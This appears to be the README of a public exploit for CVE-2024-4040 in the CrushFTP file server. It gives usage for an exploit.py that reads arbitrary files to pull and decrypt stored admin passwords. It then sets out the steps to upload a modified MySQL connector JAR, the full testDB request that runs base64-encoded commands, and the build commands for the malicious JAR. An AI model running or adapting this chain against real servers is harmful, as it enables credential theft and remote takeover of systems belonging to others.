CVE-2024-4040

Introduction

• Recently, I came across this vulnerability and found it quite interesting. I read the following articles and wrote a brief exploit.
  • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
  • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Target Machine

• I used someone else's docker. For details, please refer to the author's GitHub.
  • https://github.com/MarkusMcNugen/docker-CrushFTP

docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Attack Process

Obtaining Password

• Use exploit.py and decrypt.java to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files.
• Note that if the default admin, crushadmin, does not exist, you can try grabbing CrushFTP.log for account information.
  • <INCLUDE>CrushFTP.log</INCLUDE>
  • 

exploit.py

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path

• The logic first checks if the target is vulnerable using four default accounts and attempts to retrieve the user.XML file.
• If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the crushadmin admin account.
• After obtaining the password, it uses decrypt.java to decrypt the password.
• --shell feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify --jar-path and --headers to see the execution command's result:
  • Note that --headers must include the logged-in Cookie, for example, --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
  • --jar-path defaults to /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.
  • To exit, type .

Login to Adjust Mapping and Permissions

• Login and visit the admin panel.
  • 
• After finding User Manager, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.
  • 

Upload Malicious JAR File

• Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server's Java version.
• Go back to the files section, click upload, and upload the malicious JAR file.
  • 

RCE

• The reason for RCE is that there is a testDB function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.

command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>

• 
  • The command in the image is id.
  • Pass the base64 encoded command in the db_user parameter to execute it.
• I personally modified the MySQL connector version 5.0.4.
• If the two compiled versions don't work, I provide my modified version, which can be recompiled with the following commands:
  • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
  • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
  • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
  • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *

CVE-2024-4040